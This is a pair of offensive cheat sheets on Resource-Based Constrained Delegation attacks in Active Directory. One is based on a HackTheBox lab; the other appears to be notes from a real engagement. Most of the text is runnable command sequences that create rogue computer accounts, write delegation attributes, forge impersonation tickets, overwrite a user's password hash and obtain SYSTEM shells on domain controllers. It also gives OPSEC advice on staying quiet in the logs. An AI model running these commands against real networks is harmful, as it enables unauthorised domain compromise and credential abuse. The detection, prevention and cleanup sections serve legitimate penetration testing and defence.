RBCD (Resource-Based Constrained Delegation) Attack Cheatsheet¶
Prerequisites¶
Required Conditions¶
- Write privileges on target computer object (
GenericWrite,GenericAll,WriteProperty, orWriteDACL) - Control of an object with SPN (computer account or user with SPN)
- Domain functional level: Windows Server 2012+
Check Prerequisites¶
# Windows - Find computers where users have write access
Import-Module C:\Tools\PowerView.ps1
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty|WriteDacl"}
Method 1: Standard RBCD Attack (Computer Account)¶
From Windows¶
Step 1: Create Fake Computer Account¶
# Using PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount HACKTHEBOX -Password $(ConvertTo-SecureString "Hackthebox123+!" -AsPlainText -Force)
Step 2: Configure RBCD on Target¶
Import-Module .\PowerView.ps1
# Get computer SID
$ComputerSid = Get-DomainComputer HACKTHEBOX -Properties objectsid | Select -Expand objectsid
# Create security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Set msDS-AllowedToActOnBehalfOfOtherIdentity
$creds = New-Object System.Management.Automation.PSCredential "DOMAIN\user", (ConvertTo-SecureString "password" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $creds
Step 3: Get Computer Account Hash¶
.\Rubeus.exe hash /password:Hackthebox123+! /user:HACKTHEBOX$ /domain:inlanefreight.local
# Note the RC4 hash
Step 4: Perform S4U Attack¶
.\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /ptt
# Or with additional services
.\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /altservice:host,RPCSS,wsman,http,ldap,krbtgt,winrm /ptt
From Linux¶
Step 1: Create Computer Account¶
# Using Impacket
impacket-addcomputer -computer-name 'HACKTHEBOX$' -computer-pass 'Hackthebox123+!' -dc-ip 10.129.205.35 inlanefreight.local/carole.holmes
Step 2: Configure RBCD¶
# Using rbcd.py
impacket-rbcd -delegate-from HACKTHEBOX$ -delegate-to DC01$ -dc-ip 10.129.205.35 -action write INLANEFREIGHT.LOCAL/carole.holmes:'Y3t4n0th3rP4ssw0rd'
Step 3: Get Service Ticket¶
# Get TGS for Administrator
impacket-getST -spn cifs/DC01.inlanefreight.local -impersonate Administrator -dc-ip 10.129.205.35 inlanefreight.local/HACKTHEBOX:'Hackthebox123+!'
# Export ticket
export KRB5CCNAME=./Administrator.ccache
Step 4: Connect to Target¶
# Using psexec
impacket-psexec -k -no-pass dc01.inlanefreight.local
# Or wmiexec
impacket-wmiexec -k -no-pass dc01.inlanefreight.local
# Remember to add to /etc/hosts:
# 10.129.205.35 dc01.inlanefreight.local
Method 2: RBCD with Normal User Account (When MachineAccountQuota = 0)¶
Prerequisites¶
- User's password or NT hash
- RC4 must be enabled on the domain
- User must be added to target's msDS-AllowedToActOnBehalfOfOtherIdentity
From Linux¶
Step 1: Get NT Hash from Password¶
pypykatz crypto nt 'B3thR!ch@rd$'
# Output: de3d16603d7ded97bb47cd6641b1a392
Step 2: Get TGT¶
impacket-getTGT INLANEFREIGHT.LOCAL/beth.richards -hashes :de3d16603d7ded97bb47cd6641b1a392 -dc-ip 10.129.205.35
Step 3: Extract Session Key¶
impacket-describeTicket beth.richards.ccache | grep 'Ticket Session Key'
# Output: 7c3d8b8b135c7d574e423dcd826cab58
Step 4: Change User Password to Match Session Key¶
impacket-changepasswd INLANEFREIGHT.LOCAL/[email protected] -hashes :de3d16603d7ded97bb47cd6641b1a392 -newhash :7c3d8b8b135c7d574e423dcd826cab58
Step 5: Request Service Ticket with U2U¶
KRB5CCNAME=beth.richards.ccache impacket-getST -u2u -impersonate Administrator -spn TERMSRV/DC01.INLANEFREIGHT.LOCAL -no-pass INLANEFREIGHT.LOCAL/beth.richards -dc-ip 10.129.205.35
Step 6: Connect to Target¶
KRB5CCNAME=Administrator@[email protected] impacket-wmiexec DC01.INLANEFREIGHT.LOCAL -k -no-pass
From Windows (Modified Rubeus)¶
# Requires custom Rubeus build with U2U support and password change functionality
# Not included in standard Rubeus - requires modification as described in the research
Common SPNs to Target¶
| Service | SPN |
|---|---|
| SMB/CIFS | cifs/target.domain.local |
| WinRM | http/target.domain.local or wsman/target.domain.local |
| PowerShell Remoting | http/target.domain.local |
| RDP | termsrv/target.domain.local |
| LDAP | ldap/target.domain.local |
| WMI | host/target.domain.local |
Troubleshooting¶
Common Errors¶
| Error | Cause | Solution |
|---|---|---|
KDC_ERR_S_PRINCIPAL_UNKNOWN |
User doesn't have SPN | Use U2U method or computer account |
KDC_ERR_BADOPTION |
KDC can't decrypt ticket | Check if password change worked |
KRB_AP_ERR_SKEW |
Time sync issue | Sync time with DC |
| Access Denied | Wrong SPN or insufficient privileges | Try different SPNs (cifs, host, etc.) |
Verification Commands¶
# Check if RBCD is configured
impacket-rbcd -dc-ip 10.129.205.35 -t DC01 -action read inlanefreight\\user:password
# List computer accounts you created
Get-DomainComputer -Identity HACKTHEBOX$
# Check current ticket
klist
Cleanup¶
Remove RBCD Configuration¶
# Windows
Get-DomainComputer DC01 | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity' -Credential $creds
# Linux - Clear RBCD
impacket-rbcd -dc-ip 10.129.205.35 -t DC01 -action remove -f HACKTHEBOX inlanefreight\\user:password
Remove Computer Account¶
# Windows
Remove-ADComputer -Identity "HACKTHEBOX" -Credential $creds
Detection Indicators¶
- Event ID 4741: Computer account created
- Event ID 4742: Computer account changed
- Event ID 4724: Password reset attempt
- Event ID 4768: TGT requested (RC4 encryption)
- Event ID 4769: Service ticket requested (S4U2Self/S4U2Proxy)
- Unusual changes to msDS-AllowedToActOnBehalfOfOtherIdentity attribute
Prevention¶
- Set
ms-DS-MachineAccountQuotato 0 - Disable RC4 encryption in Kerberos
- Monitor and restrict write permissions on computer objects
- Enable Protected Users group for sensitive accounts
- Monitor for RBCD attribute modifications
- Implement PAC validation
Tools Reference¶
Windows Tools¶
- PowerView: AD enumeration and manipulation
- PowerMad: Computer account creation
- Rubeus: Kerberos attack tool
- Mimikatz: Credential extraction
Linux Tools¶
- Impacket Suite:
addcomputer.py: Create computer accountsgetTGT.py: Request TGTsgetST.py: Request service ticketspsexec.py,wmiexec.py,smbexec.py: Remote executiondescribeTicket.py: Parse ticket detailschangepasswd.py: Change passwords- rbcd.py: RBCD configuration tool
- BloodHound.py: AD enumeration
- pypykatz: Password/hash operations
Resource-Based Constrained Delegation (RBCD) — Writes & Computerless U2U — Cheatsheet¶
Purpose: Weaponize write access to msDS-AllowedToActOnBehalfOfOtherIdentity into SYSTEM on the target — classic computer-account RBCD when you can create/own a machine, and Forshaw's SPN-less U2U variant when you can't.
Prereqs / context: Linux-first, domain-joined ops box using bloodyAD/impacket/certipy with Kerberos ccaches (KRB5CCNAME, kinit -k from /etc/krb5.keytab). You need (a) msDS-AllowedToActOnBehalfOfOtherIdentity WRITE on the target computer object, and (b) a controllable principal to name as the delegate. RBCD does not require TrustedToAuthForDelegation on the front-end; the only two gates are write on the target + a non-Protected principal to impersonate. The engagement primitive here was a standard user holding that WRITE on ~16 NA computer objects (incl. a DC) — Identity disputed it as "can't be used"; it was live.
0. Confirm the write primitive (round-0 enumeration)¶
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get writable --detail # list objects you can write + which attrs
# look for 'msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE' on any DC or high-value server
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity # baseline (should be empty pre-attack)
1. Choose / obtain a front-end (delegate) principal WITH an SPN¶
You need a controllable principal that holds an SPN. Three options, in order of cleanliness:
# OPTION A — create a computer (slam-dunk if allowed). Check BOTH gates first:
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object 'DC=<dc>,DC=<dc>,DC=<dc>' --attr ms-DS-MachineAccountQuota # need >0
# AND confirm Authenticated Users still hold "Add workstations to domain" (SeMachineAccountPrivilege) in the Default Domain Controllers GPO (see PowerShell check below)
addcomputer.py -computer-name 'PWN$' -computer-pass '<USER_PW>' -dc-ip <DC_IP> -k -no-pass '<DOMAIN>/<USER>' # creates PWN$ with HOST/ SPNs then your delegate
# OPTION B — an existing machine account you already control via shadow-cred then PKINIT (what we used)
certipy shadow auto -u '<FOOTHOLD>$@<DOMAIN>' -hashes :<NT_HASH> -account '<FOOTHOLD>$' -dc-ip <DC_IP> # writes msDS-KeyCredentialLink, mints PKINIT cert + AES TGT
certipy auth -pfx <foothold>.pfx -dc-ip <DC_IP> # PKINIT then <foothold>.ccache with an AES256 session key (NOT RC4)
# <FOOTHOLD>$ already carries HOST/<FOOTHOLD>.<DOMAIN> then it's a valid RBCD "from" principal
# OPTION C — the computerless route (no SPN-bearing principal available) then jump to Section 4 (U2U)
The GPO/MAQ gate, from a Windows box if you have one (SeMachineAccountPrivilege is not visible over LDAP):
Get-ADObject -Identity ((Get-ADDomain).distinguishedName) -Properties ms-DS-MachineAccountQuota # MAQ value
(Get-GPOReport -All -ReportType xml | Select-String "SeMachineAccountPrivilege" -Context 0,5) # who can add workstations
2. Write the RBCD ACE, verify, (later) clean up¶
# SET: allow <FOOTHOLD>$ to act on behalf of others to <TARGET>$ (write is evaluated in the TARGET's domain)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<TARGET>$' '<FOOTHOLD>$'
# VERIFY the trustee landed (must come back populated with <FOOTHOLD>$'s SID)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity
# REMOVE when done (reverts the descriptor)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove rbcd '<TARGET>$' '<FOOTHOLD>$'
Impacket alternative (same effect):
rbcd.py -delegate-to '<TARGET>$' -delegate-from '<FOOTHOLD>$' -action write -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$' # set
rbcd.py -delegate-to '<TARGET>$' -action read -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$' # verify
rbcd.py -delegate-to '<TARGET>$' -delegate-from '<FOOTHOLD>$' -action remove -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$' # clean up
DC pinning matters. Run the write and the subsequent S4U against the same DC (
--host/-dc-ip). Writing on DC-A then S4U'ing DC-B before replication =BADOPTION(see the notes below).
3. S4U from the front-end → ticket on the target → SYSTEM¶
export KRB5CCNAME=<foothold>.ccache # AES TGT for <FOOTHOLD>$ from Section 1B (PKINIT), or -hashes/-aesKey
# Full S4U2self + S4U2proxy: impersonate a NON-Protected principal that has local admin on <TARGET>
getST.py -impersonate '<SVC>@<DOMAIN>' -spn 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$'
export KRB5CCNAME='<SVC>@*.ccache'
psexec.py -k -no-pass <TARGET_FQDN> # SYSTEM (or wmiexec.py / smbexec.py)
services.py -k -no-pass <TARGET_FQDN> list # SCM access then services.py create/start a payload = SYSTEM-context exec
Machine-account-as-the-target variant (front-end == target's own computer account, S4U2self-to-self, no proxy needed):
getST.py -self -impersonate '<SVC>@<DOMAIN>' -altservice 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<TARGET>$' # NOTE forward slash in cifs/<...>
Who to impersonate (critical on tiered envs / DCs):
- Never Domain Admins / Tier-0 — S4U2proxy refuses non-forwardable tickets for Protected Users / NOT_DELEGATED (UAC 0x100000).
- Pick a non-Protected, delegatable account that confers real power on the target: a service/ops account with standing local admin (e.g. the Oracle service account that admins the DB hosts via a GPP-pushed delegate group — not Domain Admins), a Backup Operators member (→ read NTDS/SAM hives on a DC), or a DnsAdmins member (→ ServerLevelPluginDll → DC SYSTEM).
- On a DC target, map the impersonated principal to its actual DC primitive and test THAT — DC-capability ≠"local admin." (e.g. DnsAdmins → dnscmd /config /serverlevelplugindll; Backup Operators → remote registry/reg save of HKLM\SYSTEM+SAM+SECURITY.)
4. Computerless U2U (Forshaw) — when you can't create/own a computer¶
Make the standard user's NT hash equal its TGT session key, then use User-to-User so the user is its own "SPN-bearing service." Set RBCD to point at the user (not a $ computer). Order is everything — and it only works if RC4 is still usable in the S4U path.
# 0. point the target's RBCD at the USER account (not a computer$)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<TARGET>$' '<USER>'
# 1. get a TGT for the user BEFORE the password change (this fixes the session key you must match)
getTGT.py -hashes :<NT_HASH> '<DOMAIN>/<USER>' -dc-ip <DC_IP> # (or '<DOMAIN>/<USER>:<USER_PW>')
export KRB5CCNAME=<USER>.ccache
# 2. read that TGT's session key
describeTicket.py <USER>.ccache | grep -i 'Session Key' # then <SESSION_KEY>
# 3. set the user's NT hash == the session key, on the CORRECT DC (the one you'll S4U against)
changepasswd.py '<DOMAIN>/<USER>:<USER_PW>@<DC_IP>' -newhash :<SESSION_KEY> # "Password was changed successfully"
# 4. S4U with U2U, reusing the EXISTING ccache (do NOT re-run getTGT — a new TGT = new session key = broken invariant)
getST.py -u2u -self -impersonate '<SVC>@<DOMAIN>' -spn 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<USER>'
Precondition: RC4 must be usable for S4U on that DC. If you get KRB_AP_ERR_MODIFIED here (even with -impersonate <USER> -self), the S4U path is AES-hardened — try a less-hardened sibling domain where the same RBCD write exists, or pivot to Section 1A/1B. (Forshaw: "only works if RC4 is still enabled on the domain.")
What Went Wrong¶
-
BADOPTIONon S4U was replication lag, not a delegation block. The RBCD ACE was written on one DC; the S4UgetSThit a different DC before convergence, so that KDC didn't yet see the trustee. Misread early as "the DC defends against RBCD" — it was live. Fix: pin-dc-ip/--hostto the same DC you wrote on, or wait for replication. Check which DC each step talks to before blaming a "protected" account. -
KRB_AP_ERR_MODIFIEDon S4U2self with an RC4 TGT against a patched DC.getTGT -hashes :<NT_HASH>(and a ccache built from it) yields an RC4 session key; a patched DC rejects the RC4-keyedPA-FOR-USERchecksum → "Message stream modified." This is an integrity/decrypt failure, not an authorization denial (a policy block givesKDC_ERR_POLICY/BADOPTION, and would not be byte-identical across different impersonated users). Fix: feed an AES TGT (PKINIT viacertipy auth), or pass-aesKey. Confirm the etype withKRB5CCNAME=... klist -e(look foraes256_cts_hmac_sha1_96, notrc4_hmac (23)). -
…but AES did not always clear it — and that's the real lesson. Even with a confirmed
aes256session key, impersonatingAdministrator/Tier-0 still threwKRB_AP_ERR_MODIFIED. Two causes stacked: the impersonation target was Protected, and the dev build (impacket 0.14.0.dev0) churned the-u2u/-selfpaths. We landed by impersonating a non-Protected standing-admin service account instead → validcifs/<TARGET>ticket → SYSTEM. Don't fixate on etype; switch the impersonated principal. -
The computerless-U2U "hash ≠session key" excuse was refuted, but NA still failed.
describeTicket/changepasswdtimestamps proved NT hash did equal the TGT session key on the correct DC with the TGT taken before the change — yet everygetST -u2u(impersonating others and-self) returnedKRB_AP_ERR_MODIFIED. Because self-impersonation failed identically, it wasn't about the victim being Protected — it was RC4 hardening in NA's S4U path (and/or the dev-build-u2uregression). The same class was still exploitable in less-hardened sibling domains. -
changepasswdagainst the wrong DC. An early attempt pointedchangepasswd … @<IP>at an unrelated box (not a DC of this domain) and silently did nothing useful. Always target a real DC of<DOMAIN>and the same one you S4U against. -
Don't re-pull the TGT after
-newhash. A freshgetTGTgets a new session key, breaking thehash == session-keyinvariant. Same trap with Rubeus:s4u /u2u /rc4:<hash>fetches a fresh TGT — import the exact existing ticket with/ticket:<b64-kirbi>so the session key stays put. -
Decisive A/B tests when
-u2uwon't fire: (1) re-run the same ccache + same hash under a pinned releasepipx run --spec 'impacket==0.12.0' getST …to rule out the dev build; (2) re-run the whole flow in a sibling domain to localize the RC4 hardening; (3) checkmsDS-SupportedEncryptionTypeson the account and the DC. -
KDC_ERR_C_PRINCIPAL_UNKNOWNon bareAdministrator→ qualify the realm:-impersonate 'Administrator@<DOMAIN>'. And use forward slash incifs/<host>/-altservice 'cifs/<host>'(a backslashcifs\<host>silently misparses). -
noPAC is orthogonal. If
noPac.py/manual sAMAccountName-spoof returnsKDC_ERR_S_PRINCIPAL_UNKNOWN(KB5008380/KB5008602 patched), it doesn't matter — RBCD doesn't care about CVE-2021-42278. Pivot to the RBCD write. -
-newhashsetspwdLastSet=0(must-change-at-logon) but that does not causeMODIFIED— a must-change account fails AS withKDC_ERR_KEY_EXPIRED, which you'd see atgetTGT, not as a decrypt error on the S4U reply. It does, however, leave the account logon-broken until restored.
Detection / OPSEC¶
- Writing
msDS-AllowedToActOnBehalfOfOtherIdentityis a directory change to the object's security descriptor → Event 5136 (Directory Service Changes) on the DC if SACL auditing is on. Set → use → remove promptly; minimize the window. - S4U2self/S4U2proxy generate 4769 TGS requests naming the impersonated user + the requested SPN; impersonating high-value principals to
cifs/is high-signal. Prefer one quiet non-Protected target. changepasswd/-newhashis a password change (4724/4723) and zeroespwdLastSet— noisy and destructive to the account.- Shadow-cred (Option B) writes
msDS-KeyCredentialLink(a new DeviceID) — auditable; remove it. - Pin a single DC for every step: avoids replication artifacts (and the
BADOPTIONred herring) and keeps your activity on one log.
Cleanup (this technique leaves artifacts — revert all of it)¶
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove rbcd '<TARGET>$' '<FOOTHOLD>$' # or '<USER>' for the U2U variant
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity # confirm empty
msDS-KeyCredentialLink DeviceID), added SPN, and granted ACE/GenericAll on the front-end object you provisioned.
- Delete any computer you created with addcomputer.py.
- Restore the altered password on the user whose hash you set to a raw session key (it is currently logon-broken — set it back to a real password).
References¶
- James Forshaw — Exploiting RBCD Using a Normal User Account (SPN-less U2U; "only works if RC4 is still enabled"): https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
- The Hacker Recipes — RBCD (incl. SPN-less / U2U): https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
- offsecdeer — A Practical Guide to RBCD Exploitation (Impacket + Rubeus): https://medium.com/@offsecdeer/a-practical-guide-to-rbcd-exploitation-a3f1a47267d5
- Impacket PR #1202 —
-self/-u2u/-altserviceadded togetST: https://github.com/fortra/impacket/pull/1202 - Impacket issue #1713 —
KRB_AP_ERR_MODIFIEDin a related S4U flow: https://github.com/fortra/impacket/issues/1713 - chkja —
KRB_AP_ERR_MODIFIED& RC4 hardening misconfiguration (etype-mismatch symptom + how to check): https://www.chkja.dk/blog/wp/active-directory-the-kerberos-client-received-a-krb_ap_err_modified-error-rc4-hardening-misconfiguration/ - bloodyAD —
add rbcd/get writablereference: https://github.com/CravateRouge/bloodyAD